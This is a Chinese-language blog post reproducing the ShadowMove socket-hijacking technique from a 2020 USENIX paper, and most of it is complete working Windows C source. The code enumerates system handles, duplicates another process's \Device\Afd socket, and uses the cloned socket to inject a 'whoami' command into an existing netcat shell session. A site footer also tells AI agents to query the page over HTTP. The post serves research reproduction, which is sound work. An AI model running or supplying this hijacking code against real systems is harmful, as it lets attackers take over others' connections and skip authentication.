# ShadowMove复现与思考

## 简介

前段时间有几位老哥联名发了一篇论文，这篇论文描述了一种复制套接字劫持网络连接的技术，本文旨在于简单分析复现这种技术，如有错误欢迎指正。

作者给出的理论图如下，通过创建两个基于原套接字复制的套接字，定期挂起原套接字接收和响应特殊的数据包。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MKYeSJUEMWgP0xw2m8E%2F-MKYeajHEyWOZO5tb3qz%2Fimage.png?alt=media\&token=98b7189b-f19f-4705-80b8-3ff64df893a2)

## 复现过程

尽管windows本身提供了WSADuplicateSocket函数，但是这个函数需要本地进程的socks句柄，而句柄只在本地进程才有意义，这篇文章的作者提出了一种从远程复制句柄技术的变体。

作者发现套接字的句柄等同于的名为\Device\Afd文件句柄，这个句柄可以直接视为socks使用(虽然就是同一个，但说还是这么说)，我们可以通过常规的句柄枚举技术从远程进程得到它，然后使用NtDuplicateObject函数将它复制到本地进程，本地进程再通过WSADuplicateSocket获取克隆套接字需要的参数，然后我们可以像使用自己的socket一样使用这个克隆过来的socket了。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MKYeSJUEMWgP0xw2m8E%2F-MKYj3aEUoy_wbLrxE7_%2Fimage.png?alt=media\&token=d13c755c-5b5c-4f76-8561-58124a208f21)

在github有[0xcpu](https://github.com/0xcpu/winsmsd)师傅分享了一份ShadowMove的代码，这里我做了一点简化。

首先师傅获取了系统的所有句柄。

```
    //获取系统内所有句柄
    pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
    while (pNtQuerySystemInformation(SystemHandleInformation,
                                     pSysHandleInfo,
                                     SystemInformationLength,
                                     &ReturnLength) == STATUS_INFO_LENGTH_MISMATCH) {
        free(pSysHandleInfo);
        SystemInformationLength = ReturnLength;
        pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
    }

```

获取句柄之后将所有句柄克隆到了当前进程(句柄只有在本地进程才有意义)，对这个句柄的类型做了一个判断。(这里我简单的做了一个优化，作者的源代码是判断所有句柄类型不等于0x28的句柄，其实所有\drivice\开头的文件句柄都是OB\_TYPE\_DEVICE, // 25,设备类型)。

```

    for (size_t i = 0; i < pSysHandleInfo->NumberOfHandles; i++) 
    {
        //句柄只在拥有者进程内有意义，所以这里需要通过NtDuplicateObject函数将句柄复制到当前进程
        if (pSysHandleInfo->Handles[i].ObjectTypeIndex == 25) {
            ntStatus = pNtDuplicateObject(hProcess,
                                          (HANDLE)pSysHandleInfo->Handles[i].HandleValue,
                                          GetCurrentProcess(),
                                          &TargetHandle,
                                          PROCESS_ALL_ACCESS, 
                                          FALSE,
                                          DUPLICATE_SAME_ACCESS);

            if (ntStatus == STATUS_SUCCESS) {
                pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));

                if (NULL == pObjNameInfo) {
                    CloseHandle(TargetHandle);
                    free(pSysHandleInfo);
                    pSysHandleInfo = NULL;

                    return TargetSocket;
                }
```

随后比较简单的通过NtQueryObject函数查询句柄描述对象的部分属性，我们知道windows系统是对象驱动的，而在三环描述对象的是句柄，我们可以通过句柄查询一下句柄所描述对象的属性，这里查询了对象的设备描述符。

```
    //查询指定句柄的部分属性，返回结果为OBJECT_NAME_INFORMATION的结构体
                while (pNtQueryObject(TargetHandle,
                                      (OBJECT_INFORMATION_CLASS)ObjectNameInformation,
                                      pObjNameInfo,
                                      ObjectInformationLength,
                                      &ReturnLength) == STATUS_INFO_LENGTH_MISMATCH)
                {
                    free(pObjNameInfo);
                    ObjectInformationLength = ReturnLength;
                    pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));
                    if (NULL == pObjNameInfo) {
                        CloseHandle(TargetHandle);
                        free(pSysHandleInfo);
                        pSysHandleInfo = NULL;

                        return TargetSocket;
                    }
                }
                //判断句柄符号名是否为\\Device\\Afd，这个描述名的句柄等同于socks句柄
                if ((pObjNameInfo->Name.Length / 2) == wcslen(pcwDeviceAfd)) {
                    if ((wcsncmp(pObjNameInfo->Name.Buffer, pcwDeviceAfd, wcslen(pcwDeviceAfd)) == 0) &&//内存对比
                        IsTargetIPAndPort(TargetHandle, pIpAddress, dwPort)) { //如果这个句柄的对端地址和端口等同于输入，那就找到了。
```

最后这个师傅就直接开始复制套接字。

```
       WsaErr = WSADuplicateSocketW((SOCKET)TargetHandle, GetCurrentProcessId(), &WsaProtocolInfo);
                        //返回一个用于创建共享套接字的结构体WSAPROTOCOL_INFOW。
                        if (WsaErr != 0) {
                            CloseHandle(TargetHandle);
                            free(pObjNameInfo);
                            free(pSysHandleInfo);
                            pSysHandleInfo = NULL;
                            pObjNameInfo = NULL;
                            return TargetSocket;
                        } else {
                            //通过获取的WSAPROTOCOL_INFOW结构体创建一个新的socks。
                            TargetSocket = WSASocket(WsaProtocolInfo.iAddressFamily,
                                                     WsaProtocolInfo.iSocketType,
                                                     WsaProtocolInfo.iProtocol,
                                                     &WsaProtocolInfo,
                                                     0,
                                                     WSA_FLAG_OVERLAPPED);
                            if (TargetSocket != INVALID_SOCKET) {
                                fwprintf(stdout, L"[OK] Socket was duplicated!\n");
                                CloseHandle(TargetHandle);
                                free(pObjNameInfo);
                                free(pSysHandleInfo);
                                pObjNameInfo = NULL;
                                pSysHandleInfo = NULL;

                                return TargetSocket;
                            }
                        }
                    }
                }

                CloseHandle(TargetHandle);
                free(pObjNameInfo);
                pObjNameInfo = NULL;
            }
        }
    }
```

## 完整代码

```
#pragma once

#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include <inttypes.h>
#include <assert.h>
#include <winternl.h>
#include <Tlhelp32.h>

#define SystemHandleInformation     0x10
#define ObjectNameInformation       1
#define STATUS_SUCCESS              ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    ULONG   UniqueProcessId;
    UCHAR   ObjectTypeIndex;
    UCHAR   HandleAttributes;
    USHORT  HandleValue;
    PVOID   Object;
    ULONG   GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG                           NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO  Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;


typedef struct _OBJECT_NAME_INFORMATION
{
    UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

typedef long (*NTDUPLICATEOBJECT)(HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, BOOLEAN, ULONG);
typedef NTSTATUS(*NTQUERYSYSTEMINFORMATION)(
    ULONG   SystemInformationClass,
    PVOID   SystemInformation,
    ULONG   SystemInformationLength,
    PULONG  ReturnLength);
typedef NTSTATUS(*NTQUERYOBJECT)(
    HANDLE                   Handle,
    OBJECT_INFORMATION_CLASS ObjectInformationClass,
    PVOID                    ObjectInformation,
    ULONG                    ObjectInformationLength,
    PULONG                   ReturnLength
    );

NTDUPLICATEOBJECT           pNtDuplicateObject;
NTQUERYSYSTEMINFORMATION    pNtQuerySystemInformation;
NTQUERYOBJECT               pNtQueryObject;

```

```
#include "winsmsd.h"


BOOL Init(VOID)
{

    WSADATA WsaData;
  

     WSAStartup(MAKEWORD(2, 2), &WsaData);

    pNtDuplicateObject = (NTDUPLICATEOBJECT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtDuplicateObject");
    pNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
    pNtQueryObject = (NTQUERYOBJECT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryObject");

    if (pNtDuplicateObject && pNtQuerySystemInformation && pNtQueryObject) {
        return TRUE;
    }
    else {
        WSACleanup();

        return FALSE;
    }
}


BOOL IsTargetIPAndPort(HANDLE hSocket, PBYTE TargetIp, USHORT TargetPort)
{
    INT         ret;
    SOCKADDR_IN SockAddr;
    INT         NameLen = sizeof(SOCKADDR_IN);

    ret = getpeername((SOCKET)hSocket, (PSOCKADDR)&SockAddr, &NameLen);
    if (ret != 0) {
        fwprintf(stderr, L"Failed to retrieve address of peer: %d\n", ret);
        return FALSE;
    } else {
        fwprintf(stdout, L"Address: %u.%u.%u.%u Port: %hu\n",
                 SockAddr.sin_addr.S_un.S_un_b.s_b1,
                 SockAddr.sin_addr.S_un.S_un_b.s_b2,
                 SockAddr.sin_addr.S_un.S_un_b.s_b3,
                 SockAddr.sin_addr.S_un.S_un_b.s_b4,
                 ntohs(SockAddr.sin_port));

        if (memcmp((PVOID)&SockAddr.sin_addr.S_un.S_un_b, (PVOID)TargetIp, 4) == 0 &&
            ntohs(SockAddr.sin_port) == TargetPort) {
            return TRUE;
        } else {
            return FALSE;
        }
    }
}

SOCKET GetSocket(HANDLE hProcess, PBYTE pIpAddress, USHORT dwPort)
{
    PSYSTEM_HANDLE_INFORMATION  pSysHandleInfo = NULL;
    POBJECT_NAME_INFORMATION    pObjNameInfo = NULL;
    ULONG                       SystemInformationLength = 0;
    ULONG                       ObjectInformationLength = 0;
    ULONG                       ReturnLength;
    HANDLE                      TargetHandle = INVALID_HANDLE_VALUE;
    SOCKET                      TargetSocket = INVALID_SOCKET;
    NTSTATUS                    ntStatus;
    PCWSTR                      pcwDeviceAfd = L"\\Device\\Afd";
    INT                         WsaErr;
    WSAPROTOCOL_INFOW           WsaProtocolInfo = { 0 };

    //获取系统内所有句柄
    pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
    while (pNtQuerySystemInformation(SystemHandleInformation,
                                     pSysHandleInfo,
                                     SystemInformationLength,
                                     &ReturnLength) == STATUS_INFO_LENGTH_MISMATCH) {
        free(pSysHandleInfo);
        SystemInformationLength = ReturnLength;
        pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
    }

    for (size_t i = 0; i < pSysHandleInfo->NumberOfHandles; i++) 
    {
        //句柄只在拥有者进程内有意义，所以这里需要通过NtDuplicateObject函数将句柄复制到当前进程
        if (pSysHandleInfo->Handles[i].ObjectTypeIndex == 25) {
            ntStatus = pNtDuplicateObject(hProcess,
                                          (HANDLE)pSysHandleInfo->Handles[i].HandleValue,
                                          GetCurrentProcess(),
                                          &TargetHandle,
                                          PROCESS_ALL_ACCESS, 
                                          FALSE,
                                          DUPLICATE_SAME_ACCESS);

            if (ntStatus == STATUS_SUCCESS) {
                pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));

                if (NULL == pObjNameInfo) {
                    CloseHandle(TargetHandle);
                    free(pSysHandleInfo);
                    pSysHandleInfo = NULL;

                    return TargetSocket;
                }
                //查询指定句柄的部分属性，返回结果为OBJECT_NAME_INFORMATION的结构体
                while (pNtQueryObject(TargetHandle,
                                      (OBJECT_INFORMATION_CLASS)ObjectNameInformation,
                                      pObjNameInfo,
                                      ObjectInformationLength,
                                      &ReturnLength) == STATUS_INFO_LENGTH_MISMATCH)
                {
                    free(pObjNameInfo);
                    ObjectInformationLength = ReturnLength;
                    pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));
                    if (NULL == pObjNameInfo) {
                        CloseHandle(TargetHandle);
                        free(pSysHandleInfo);
                        pSysHandleInfo = NULL;

                        return TargetSocket;
                    }
                }
                //判断句柄符号名是否为\\Device\\Afd，这个描述名的句柄等同于socks句柄
                if ((pObjNameInfo->Name.Length / 2) == wcslen(pcwDeviceAfd)) {
                    if ((wcsncmp(pObjNameInfo->Name.Buffer, pcwDeviceAfd, wcslen(pcwDeviceAfd)) == 0) &&//内存对比
                        IsTargetIPAndPort(TargetHandle, pIpAddress, dwPort)) { //如果这个句柄的对端地址和端口等同于输入，那就找到了。
                        WsaErr = WSADuplicateSocketW((SOCKET)TargetHandle, GetCurrentProcessId(), &WsaProtocolInfo);
                        //返回一个用于创建共享套接字的结构体WSAPROTOCOL_INFOW。
                        if (WsaErr != 0) {
                            CloseHandle(TargetHandle);
                            free(pObjNameInfo);
                            free(pSysHandleInfo);
                            pSysHandleInfo = NULL;
                            pObjNameInfo = NULL;
                            return TargetSocket;
                        } else {
                            //通过获取的WSAPROTOCOL_INFOW结构体创建一个新的socks。
                            TargetSocket = WSASocket(WsaProtocolInfo.iAddressFamily,
                                                     WsaProtocolInfo.iSocketType,
                                                     WsaProtocolInfo.iProtocol,
                                                     &WsaProtocolInfo,
                                                     0,
                                                     WSA_FLAG_OVERLAPPED);
                            if (TargetSocket != INVALID_SOCKET) {
                                fwprintf(stdout, L"[OK] Socket was duplicated!\n");
                                CloseHandle(TargetHandle);
                                free(pObjNameInfo);
                                free(pSysHandleInfo);
                                pObjNameInfo = NULL;
                                pSysHandleInfo = NULL;

                                return TargetSocket;
                            }
                        }
                    }
                }

                CloseHandle(TargetHandle);
                free(pObjNameInfo);
                pObjNameInfo = NULL;
            }
        }
    }

    free(pSysHandleInfo);
    
    return TargetSocket;
}



DWORD WINAPI ThreadProc(LPVOID lpParam)
{
    Sleep(3000);
    char msg[] = "whoami";
    send((SOCKET)lpParam, msg, sizeof(msg), MSG_OOB);
    return 0;
}

int main(int argc, char** argv)
{
    DWORD   dwPid;
    USHORT  uPort;
    BYTE    IpAddress[4] = { 0 };
    HANDLE  hProc;
    PCHAR   pToken = NULL;
    PCHAR   Ptr;
    SIZE_T  i = 0;


    Init();

    dwPid = strtoul(argv[1], NULL, 10);
    uPort = (USHORT)strtoul(argv[3], NULL, 10);
    pToken = strtok_s(argv[2], ".", &Ptr);
    while (pToken && i < 4) {
        IpAddress[i] = (BYTE)strtoul(pToken, NULL, 10);
        pToken = strtok_s(NULL, ".", &Ptr);
        i++;
    }

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        return 0;
    }

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof pe;

    if (Process32First(hSnapshot, &pe))
    {
        do {
            if (lstrcmpi(L"nc64.exe", pe.szExeFile) == 0)
            {
                CloseHandle(hSnapshot);
                dwPid=  pe.th32ProcessID;
                break;
            }
        } while (Process32Next(hSnapshot, &pe));
    }

    

    hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwPid);


    BYTE Buff[128] = { 0 };
    SOCKET NewSocket = GetSocket(hProc, IpAddress, uPort);
    
    HANDLE hTHread =  CreateThread(0, 0, ThreadProc, NewSocket, 0, 0);

    if (NewSocket != INVALID_SOCKET) {
        while (recv(NewSocket, Buff, 128, MSG_PEEK) == -1);
        printf("%s", Buff);

        closesocket(NewSocket);
    }
    CloseHandle(hProc);
    CloseHandle(hSnapshot);
    WSACleanup();
    return 0;
}

```

## 复现和思考

这种技术理论上只能应用于明文传输的协议，如Telnet、ftp，劫持连接后我们通常能直接掠过身份认证的过程，这里我们起一个nc的bash控制口做一个测试。

我们先在kali上起一个服务端，然后使用nc去连接。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MKYmma2bIsmojl8uPpH%2F-MKYneV9WJN_nfWvZP1U%2Fimage.png?alt=media\&token=586c644c-ce8c-44ad-9c96-5c94e3edcc06)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MKYmma2bIsmojl8uPpH%2F-MKYnrLbVxyx_xpOgqRQ%2Fimage.png?alt=media\&token=8fc40e0e-8fba-4150-a72a-6593a636c212)

之后运行我们的poc，由于套接字的处理是异步的，我们需要另起一个线程去发送命令，然后使用主线程接收。

```
DWORD WINAPI ThreadProc(LPVOID lpParam)
{
    Sleep(3000);
    char msg[] = "whoami";
    send((SOCKET)lpParam, msg, sizeof(msg), MSG_OOB);
    return 0;
}

 HANDLE hTHread =  CreateThread(0, 0, ThreadProc, NewSocket, 0, 0);
```

可以看到主副socket都接收到了命令的结果，如果我们不想要主套接字接收到，我们可以直接挂起或者干掉它来接管这个网络连接。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MKYmma2bIsmojl8uPpH%2F-MKYoU0z3mEFluZUI16o%2Fimage.png?alt=media\&token=dd9be32c-5d5f-4a9a-9ecd-ad787161d7a9)

## LINKS

{% embed url="<https://github.com/0xcpu/winsmsd>" %}

原文如下:

{% embed url="<https://www.usenix.org/system/files/sec20summer_niakanlahiji_prepub.pdf>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://idiotc4t.com/defense-evasion/shadowmove-emersion-and-think.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
